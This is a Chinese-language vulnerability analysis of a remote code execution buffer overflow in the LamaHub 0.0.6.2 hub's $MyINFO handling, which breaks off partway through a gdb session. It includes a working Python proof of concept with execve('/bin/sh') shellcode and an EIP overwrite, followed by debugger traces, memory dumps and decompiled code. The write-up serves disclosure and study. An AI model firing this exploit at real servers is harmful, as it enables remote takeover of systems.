LamaHub 0.0.62远程代码执行漏洞

作者：k0shl 转载请注明出处：https://whereisk0shl.top

漏洞说明

LamaHub是NMDC协议的一个客户端，NMDC协议主要负责的是P2P客户端服务器交互的一种协议，在LamaHub服务器处理客户端请求的时候，通过构造特殊的NMDC协议数据包，可以导致LamaHub在处理$MyINFO指令请求的时候产生缓冲区溢出，从而远程执行任意代码，下面对此漏洞进行分析。

软件下载：

http://ovh.dl.sourceforge.net/sourceforge/lamahub/LamaHub-0.0.6.2.tar.gz

PoC:

import socket

HOST = 'localhost'
PORT = 4111
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

buf = ""
buf += "\x24\x53\x75\x70\x70\x6f\x72\x74\x73\x20\x55\x73"
buf += "\x6c\x6c\x6f\x20\x49\x50\x32\x20\x65\x61\x72\x63"
buf += "\x68\x20\x5a\x50\x65\x30\x20\x7c\x24\x4b\x65\x79"
buf += "\x61\x7c\x24\x56\x61\x6c\x69\x64\x61\x74\x65\x4e"
buf += "\x69\x63\x6b\x20\x50\x69\x65\x72\x72\x65\x7c\x24"
buf += "\x56\x65\x6e\x20\x31\x2c\x30\x30\x39\x31\x7c\x24"
buf += "\x47\x01\x00\x4e\x3b\x63\x6b\x4c\x69\x73\x74\x7c"
buf += "\x24\x4d\x79\x49\x4e\x46\x4f\x20\x24\x41\x4c\x4c"
buf += "\x20\x50\x69\x65\x72\x72\x65\x20\x4a\x65"

#NEED padding of 96
shellcode = "\x90" *30
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
shellcode += "\x90"*42
print "Shellcode len: "
print len(shellcode)

buf2 = "\x61\x3c"
buf2 += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30"
buf2 += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37"
buf2 += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

eip_overwrite = "\x2a\x6a\x06\x08"
#eip_overwrite = "AAAA"
buf3 = "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf3 += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f"
buf3 += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20\x7c"
buf3 += "\x24\x4b\x65\x79\x61\x7c\x24\x56\x20\x41\x20\x30"
buf3 += "\x61\x7c\x24\x56\x69\x63\x6b\x20\x50\x69\xca\xca"
buf3 += "\x0a"

# Send EVIL PACKET !
s.sendall(buf + shellcode + buf2 + eip_overwrite + buf3)
s.close()

漏洞复现

首先部署LamaHub，用gdb attach，运行PoC，服务端崩溃，可以查看崩溃时的信息。

gdb-peda$ run
Starting program: /root/Desktop/0.0.6.2/server 
> ERROR -> Plugin -> File plugins.conf dont found
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8066a27 <buf+39>:  push   esi
   0x8066a28 <buf+40>:  popa   
   0x8066a29 <buf+41>:  ins    BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>:  imul   esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
   0x8066a32 <buf+50>:  imul   esp,DWORD PTR [eax],0x50
   0x8066a35 <buf+53>:  imul   esp,DWORD PTR [ebp+0x72],0x247c6572
   0x8066a3c <buf+60>:  push   esi
   0x8066a3d <buf+61>:  outs   dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0004| 0xbffff2c4 --> 0xb1b1b1b1 
0008| 0xbffff2c8 --> 0xb1b1b1b1 
0012| 0xbffff2cc --> 0xb1b1b1b1 
0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d8 --> 0xcacaca24 
0028| 0xbffff2dc --> 0x505a20ca 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08066a2a in buf ()

可以看到，此时程序处于08066a2a地址位置，通过PoC，此时是处于返回地址eip部署的恶意地址，这个是PoC给出的，根据系统可以修改eip地址使其跳转到shellcode，通过bt查看一下堆栈回溯。

gdb-peda$ bt
#0  0x08066a2a in buf ()
#1  0x080626d6 in buf ()
#2  0xb1b1b1b1 in ?? ()
#3  0xb1b1b1b1 in ?? ()
#4  0xb1b1b1b1 in ?? ()
#5  0x2c303737 in ?? ()
#6  0x4f464e49 in ?? ()
#7  0xcacaca24 in ?? ()
#8  0x505a20ca in ?? ()
#9  0x7c203065 in ?? ()
#10 0xbffff308 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

由于NMDC数据包构造的原因，后续堆栈已经被畸形payload覆盖，导致回溯失败，通过正向分析可以找到这个漏洞的成因。

漏洞分析

通过IDA pro分析可以找到两处recv，在LamaHub接收数据的时候势必会调用recv函数，在这两处recv下断点。

gdb-peda$ b *0x08052ef7
Breakpoint 1 at 0x8052ef7
gdb-peda$ r
Starting program: /root/Desktop/0.0.6.2/server 
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x4 
EDX: 0x10 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x4 
EIP: 0x8052ef7 (<loop+231>: call   0x8049210 <recv@plt>)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052eea <loop+218>:    push   0x8066a00
   0x8052eef <loop+223>:    push   ecx
   0x8052ef0 <loop+224>:    mov    BYTE PTR ds:0x8066a00,0x0
=> 0x8052ef7 <loop+231>:    call   0x8049210 <recv@plt>
   0x8052efc <loop+236>:    add    esp,0x10
   0x8052eff <loop+239>:    test   eax,eax
   0x8052f01 <loop+241>:    mov    ds:0x8062b04,eax
   0x8052f06 <loop+246>:    je     0x8052f40 <loop+304>
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0x8066a00 --> 0x0 
arg[2]: 0x3ff 
arg[3]: 0x0

发送payload后，程序命中了一处断点，之后单步步过。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x4 
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x4 
EIP: 0x8052efc (<loop+236>: add    esp,0x10)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052eef <loop+223>:    push   ecx
   0x8052ef0 <loop+224>:    mov    BYTE PTR ds:0x8066a00,0x0
   0x8052ef7 <loop+231>:    call   0x8049210 <recv@plt>
=> 0x8052efc <loop+236>:    add    esp,0x10
   0x8052eff <loop+239>:    test   eax,eax
   0x8052f01 <loop+241>:    mov    ds:0x8062b04,eax
   0x8052f06 <loop+246>:    je     0x8052f40 <loop+304>
   0x8052f08 <loop+248>:    mov    BYTE PTR [eax+0x8066a00],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff3f0 --> 0x4 
0004| 0xbffff3f4 --> 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
0008| 0xbffff3f8 --> 0x3ff 
0012| 0xbffff3fc --> 0x0 
0016| 0xbffff400 --> 0x0 
0020| 0xbffff404 --> 0x0 
0024| 0xbffff408 --> 0x3 
0028| 0xbffff40c --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08052efc in loop ()

可以看到，此时堆0x08066a00位置接收了数据包并且进行了保存，查看一下这个堆中的内容。

gdb-peda$ x/100x 0x08066a00
0x8066a00 <buf>:    0x70755324  0x74726f70  0x73552073  0x206f6c6c
0x8066a10 <buf+16>: 0x20325049  0x63726165  0x505a2068  0x7c203065
0x8066a20 <buf+32>: 0x79654b24  0x56247c61  0x64696c61  0x4e657461
0x8066a30 <buf+48>: 0x206b6369  0x72656950  0x247c6572  0x206e6556
0x8066a40 <buf+64>: 0x30302c31  0x247c3139  0x4e000147  0x4c6b633b
0x8066a50 <buf+80>: 0x7c747369  0x49794d24  0x204f464e  0x4c4c4124
0x8066a60 <buf+96>: 0x65695020  0x20657272  0x9090654a  0x90909090
0x8066a70 <buf+112>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066a80 <buf+128>:    0x90909090  0x90909090  0x6850c031  0x68732f2f
0x8066a90 <buf+144>:    0x69622f68  0x31e3896e  0x6aca89c9  0x80cd580b
0x8066aa0 <buf+160>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066ab0 <buf+176>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066ac0 <buf+192>:    0x90909090  0x90909090  0x3c619090  0x794d243c
0x8066ad0 <buf+208>:    0x24350080  0x30246970  0x37373724  0x37373737
0x8066ae0 <buf+224>:    0x37373737  0xb1b1b137  0xb1b1b1b1  0xb1b1b1b1
0x8066af0 <buf+240>:    0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1
0x8066b00 <buf+256>:    0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1
0x8066b10 <buf+272>:    0xb1b1b1b1  0x2c2c2cb1  0x2c2c2c2c  0x2c2c2c2c
0x8066b20 <buf+288>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b30 <buf+304>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b40 <buf+320>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b50 <buf+336>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b60 <buf+352>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b70 <buf+368>:    0x08066a2a  0x080626d6  0xb1b1b1b1  0xb1b1b1b1
0x8066b80 <buf+384>:    0xb1b1b1b1  0x2c303737  0x4f464e49  0xcacaca24
0x8066b90 <buf+400>:    0x505a20ca  0x7c203065  0x79654b24  0x56247c61
0x8066ba0 <buf+416>:    0x30204120  0x56247c61  0x206b6369  0xcaca6950

畸形数据已经全被被接收了，接下来单步跟踪。在接收到数据之后，会到达一处调用parse_token，这个主要是负责验证逻辑。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8052e82 (<loop+114>: call   0x8050cf0 <parse_token>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052e7b <loop+107>:    push   eax
   0x8052e7c <loop+108>:    push   0x8066a00
   0x8052e81 <loop+113>:    push   ebx
=> 0x8052e82 <loop+114>:    call   0x8050cf0 <parse_token>
   0x8052e87 <loop+119>:    add    esp,0x10
   0x8052e8a <loop+122>:    cmp    eax,0xffffffff
   0x8052e8d <loop+125>:    je     0x8052f4c <loop+316>
   0x8052e93 <loop+131>:    sub    esp,0xc
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
arg[2]: 0x1b1

可以看到这处验证逻辑第二个参数就是畸形payload，接下来分析这处验证逻辑。通过IDA pro查看一下这个函数伪代码。

int __cdecl parse_token(void *a1, char *src, size_t a3)
{
  signed __int32 v3; // edx@1
  int result; // eax@2
  char *v5; // ebp@3
  signed int v6; // ebx@3
  signed __int32 v7; // ecx@7
  char *v8; // edi@15
  char *v9; // esi@15
  signed int v10; // ecx@17
  signed __int32 v11; // ST2C_4@19
  signed int v12; // [sp+Ch] [bp-30h]@3
  unsigned int n; // [sp+10h] [bp-2Ch]@14

  v3 = a3;
  if ( *src == 60 )
    return proto_state_handler(a1, src, a3);
  result = 1;
  if ( (signed int)a3 > 0 )
  {
    v5 = src;
    result = 1;
    v6 = 0;
    v12 = -1;
    while ( 1 )
    {
      if ( *v5 != 36 || v12 >= v6 )
        goto LABEL_12;
      if ( v3 < v6 )
        break;
      v7 = v6;
      do
        ++v7;
      while ( src[v7] != 124 && v7 <= v3 );
      if ( v7 - v6 == -1 )
        return 0;
      if ( v7 - v6 + 1 <= 1023 )
      {
        n = v7 - v6 + 1;
        v12 = v7;
        goto LABEL_15;
      }
LABEL_12:
      ++v6;
      ++v5;
      if ( v6 == v3 )
        return result;
    }
    v12 = v6;
    n = 1;
LABEL_15:
    v8 = &token_buf;
    v9 = v5;
    if ( n >= 4 )
    {
      qmemcpy(&token_buf, v5, 4 * (n >> 2));
      v9 = &v5[4 * (n >> 2)];
      v8 = &token_buf + 4 * (n >> 2);
    }
    v10 = 0;
    if ( n & 2 )
    {
      *(_WORD *)v8 = *(_WORD *)v9;
      v10 = 2;
      if ( !(n & 1) )
      {
LABEL_19:
        v11 = v3;
        *(&token_buf + n) = 0;
        result = proto_state_handler(a1, &token_buf, n);
        v3 = v11;
        if ( result == -1 )
          return -1;
        goto LABEL_12;
      }
    }
    else if ( !(n & 1) )
    {
      goto LABEL_19;
    }
    v8[v10] = v9[v10];
    goto LABEL_19;
  }
  return result;
}

在LABEL_19块中，调用了一个函数proto_state_handler，主要是负责处理协议句柄的，其中涉及到一个token_buf，单步跟踪观察这个proto_state_handler函数调用的传参情况。

[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x0 
ECX: 0x0 
EDX: 0x1b1 
ESI: 0x8066a20 ("$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
EDI: 0x8062720 --> 0x0 
EBP: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
ESP: 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8050ddb (<parse_token+235>:  call   0x80551b0 <proto_state_handler>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Supports Usllo IP2 earch ZPe0 |")
0008| 0xbffff3a8 --> 0x20 (' ')
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x1f

这个token_buf的内容是$Supports，其实这个主要是NDMC的协议处理，而在parse_token的开始部分，会先处理这个数据包，将数据包内容拆分。接下来直接执行，会第二次到达断点。

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Keya|")

继续执行，第三次命中

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$ValidateNick Pierre|")
0008| 0xbffff3a8 --> 0x15 
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x3a (':')

可以看到每次都获取到|分割线后的内容，接下来直接执行到包含畸形字符串的部分。

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbffff3a8 --> 0x144 
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x197 
[------------------------------------------------------------------------------]

第二个参数作为畸形字符串传入，其中涉及到指令$MyINFO，就从这里跟入看看函数内部到底发生了什么。

int proto_state_handler (user_t *u, char *data, unsigned int len)
{
    switch (u->state) {
        case PROTO_STATE_INIT:      // new user connected
             return proto_nmdc_state_init (u);
        case PROTO_STATE_SENDLOCK:  // waiting for user $Key
             return proto_nmdc_state_sendlock (u, data, len);
        case PROTO_STATE_WAITNICK:  // waiting for user $ValidateNick
             return proto_nmdc_state_waitnick (u, data, len);
        case PROTO_STATE_WAITPASS:  // waiting for user $GetPass
                 return proto_nmdc_state_waitpass (u, data, len);
        case PROTO_STATE_HELLO:     // waiting for user $MyINFO
             return proto_nmdc_state_hello (u, data, len);
        case PROTO_STATE_ONLINE:    // user is avaible now
             return proto_nmdc_state_online (u, data, len);
        case PROTO_STATE_DISCONNECTED:  // user gone out    $Quit
             return proto_nmdc_state_disconnect (u);
    }

进入后会到达一处switch逻辑，这个switch会根据user_t的类型进行判断，根据情况进行处理，在$MyINFO会进入proto_nmdc_state_hello函数。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x0 
EDX: 0x1b1 
ESI: 0x8066b98 ("$Keya|$V A 0a|$Vick Pi\312\312\n")
EDI: 0x8062844 --> 0x0 
EBP: 0x8066a54 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ESP: 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x805534a (<proto_state_handler+410>:  call   0x80539e0 <proto_nmdc_state_hello>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x805533b <proto_state_handler+395>: push   DWORD PTR [esp+0xdc]
   0x8055342 <proto_state_handler+402>: push   DWORD PTR [esp+0xdc]
   0x8055349 <proto_state_handler+409>: push   ebx
=> 0x805534a <proto_state_handler+410>: call   0x80539e0 <proto_nmdc_state_hello>
   0x805534f <proto_state_handler+415>: add    esp,0x10
   0x8055352 <proto_state_handler+418>: add    esp,0xc0
   0x8055358 <proto_state_handler+424>: pop    ebx
   0x8055359 <proto_state_handler+425>: pop    esi
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
arg[2]: 0x144 
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff2c4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbffff2c8 --> 0x144 
0012| 0xbffff2cc --> 0x80553a1 (<proto_state_handler+497>:  jmp    0x80551fa <proto_state_handler+74>)
0016| 0xbffff2d0 --> 0x1

进入之后会根据$MyINFO内部的内容进行一些处理。比如

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13 
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0x7 
EDX: 0x6 
ESI: 0x8062702 ("yINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0 
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
EIP: 0x8053a3d (<proto_nmdc_state_hello+93>:    mov    esi,ebx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053a2d <proto_nmdc_state_hello+77>:   jbe    0x8053d20 <proto_nmdc_state_hello+832>
   0x8053a33 <proto_nmdc_state_hello+83>:   mov    ecx,0x7
   0x8053a38 <proto_nmdc_state_hello+88>:   mov    edi,0x805ac4b
=> 0x8053a3d <proto_nmdc_state_hello+93>:   mov    esi,ebx
   0x8053a3f <proto_nmdc_state_hello+95>:   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8053a41 <proto_nmdc_state_hello+97>:   seta   cl
   0x8053a44 <proto_nmdc_state_hello+100>:  setb   al
   0x8053a47 <proto_nmdc_state_hello+103>:  sub    ecx,eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|")
0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>:    add    ebx,0x162de5)
0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8 
0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001 
0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|")
0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>:   mov    edx,DWORD PTR [esp+0x34])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053a3d in proto_nmdc_state_hello ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13 
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0x7 
EDX: 0x6 
ESI: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0 
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
EIP: 0x8053a3f (<proto_nmdc_state_hello+95>:    repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053a33 <proto_nmdc_state_hello+83>:   mov    ecx,0x7
   0x8053a38 <proto_nmdc_state_hello+88>:   mov    edi,0x805ac4b
   0x8053a3d <proto_nmdc_state_hello+93>:   mov    esi,ebx
=> 0x8053a3f <proto_nmdc_state_hello+95>:   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8053a41 <proto_nmdc_state_hello+97>:   seta   cl
   0x8053a44 <proto_nmdc_state_hello+100>:  setb   al
   0x8053a47 <proto_nmdc_state_hello+103>:  sub    ecx,eax
   0x8053a49 <proto_nmdc_state_hello+105>:  movsx  ebp,cl
[------------------------------------stack-------------------------------------]
0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|")
0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>:    add    ebx,0x162de5)
0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8 
0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001 
0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|")
0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>:   mov    edx,DWORD PTR [esp+0x34])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053a3f in proto_nmdc_state_hello ()

这里会对$MyINFO中的$Hello Pierre后的指令进行处理，在后面会对这个内容进行拷贝

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x806c320 --> 0x80670c0 (0x0806c320)
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0xb7e65000 (<__strncpy_sse2+3504>: mov    DWORD PTR [edi],edx)
EDX: 0x144 
ESI: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EDI: 0x1 
EBP: 0x0 
